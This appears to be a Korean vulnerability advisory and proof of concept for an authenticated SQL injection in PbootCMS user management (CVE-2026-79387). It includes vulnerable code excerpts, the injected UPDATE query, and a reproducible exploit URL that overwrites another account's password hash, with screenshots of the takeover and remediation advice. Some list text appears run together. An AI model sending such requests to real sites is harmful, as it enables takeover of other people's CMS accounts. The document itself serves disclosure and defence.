
CVE-2026-79387에 대한 개념 증명(PoC)으로, PbootCMS 사용자 관리에서 발생하는 인증된 SQL 인젝션으로 임의 필드 업데이트 및 계정 탈취가 가능합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-79387 |
| 제품 | PbootCMS |
| 영향받는 버전 | 3.2.0 – 3.2.5, 이전 버전일 가능성 있음 |
| 취약점 유형 | SQL 인젝션 (CWE-89) |
| 공격 벡터 | 원격 (인증됨) |
| CVSS 심각도 | 높음 |
| 발견자 | JiahaoLi |
| 공급업체 | https://www.pbootcms.com/ |
PbootCMS V3.2.5의 사용자 관리 모듈에 SQL 인젝션 취약점이 존재합니다. 이 취약점은 /apps/admin/controller/system/UserController.php의 mod() 메서드(149번째 줄)와 /apps/admin/model/system/UserModel.php의 modUser() 메서드에 있습니다.
field 매개변수는 화이트리스트 검증 없이 GET 요청을 통해 완전히 사용자가 제어할 수 있습니다. value 매개변수 역시 사용자가 제어할 수 있으며 SQL UPDATE 문에 직접 연결됩니다. 인증된 공격자는 field로 임의의 데이터베이스 컬럼(예: password, username, status, role)을 지정할 수 있어 임의의 데이터 조작이 가능합니다.
// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field와 $value는 $_GET 슈퍼글로벌에서 직접 가져와 새니타이징, 화이트리스트, 매개변수화된 쿼리 없이 SQL 문자열에 연결됩니다. 이 문자열은 이후 UserModel::modUser()에 전달되며, 이 메서드는 이를 기본 Model::update() 메서드로 넘깁니다. 인수가 문자열(배열이 아님)이기 때문에 checkKey() 필드명 검증을 우회하고 SET 절에 그대로 삽입됩니다:
UPDATE ay_user SET <user-controlled>= '<user-controlled>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
인증된 공격자는 다음을 수행할 수 있습니다:
ucode=10001)를 제외한 슈퍼 관리자를 포함합니다.value 매개변수는 작은따옴표 이스케이프를 허용하여 스택 기반 또는 동어반복 기반 공격을 가능하게 할 수 있습니다.이는 계정 탈취 및 CMS 백엔드의 완전한 제어로 이어집니다.
192.168.1.104, Apache/PHP 7.2.1/SQLite에서 테스트됨)PbootCMS 관리자 대시보드에 접속하여 기본 admin 계정으로 로그인합니다.

시스템 관리 → 사용자 관리 → 사용자 추가로 이동합니다. 새 사용자를 생성합니다:
admin2admin
사용자 목록에서 admin2가 ucode=10002로 확인됩니다:

새 브라우저 창을 엽니다. admin2로 비밀번호 123456을 사용하여 로그인을 시도합니다 — 실제 비밀번호는 admin이므로 이는 실패합니다:

이미 로그인된 관리자 브라우저를 사용하여 다음으로 이동합니다:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291은123456의 MD5 해시입니다.
mod() 메서드는 인젝션을 실행하고 location(-1)을 통해 리다이렉트합니다:

이제 admin2 / 123456으로 로그인을 시도합니다:

SQL 인젝션을 통해 비밀번호가 성공적으로 변경되었습니다. 사용자는 이제 새 비밀번호로 로그인되어 있으며, 이는 완전한 계정 탈취를 확인시켜 줍니다.

update()가 문자열 인자를 받으면, 이는 이스케이프 없이 SET 절에 그대로 사용됩니다:
final public function update($data = null)
{
if (is_array($data)) {
// Array path: checkKey() validates field names
...
} else {
// String path: NO VALIDATION AT ALL
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Direct execution, no prepared statement
}
field 매개변수에 대한 화이트리스트 검증 — 알려진 컬럼 이름(status, username, realname, password)만 허용합니다.$value를 정제하여 따옴표 탈출(quote-breakout)을 방지합니다.field가 password인 경우 저장 전에 값에 encrypt_string()을 적용합니다.mod()의 "단일 필드 수정" 분기는 유효한 CSRF 토큰과 역할 수준의 권한 부여 검사를 요구해야 합니다.공개 안내: 이 취약점은 벤더에게 책임 있게 공개되었습니다. 영향을 받는 버전을 실행 중이라면 즉시 업데이트하고 모든 백엔드 계정을 감사하십시오.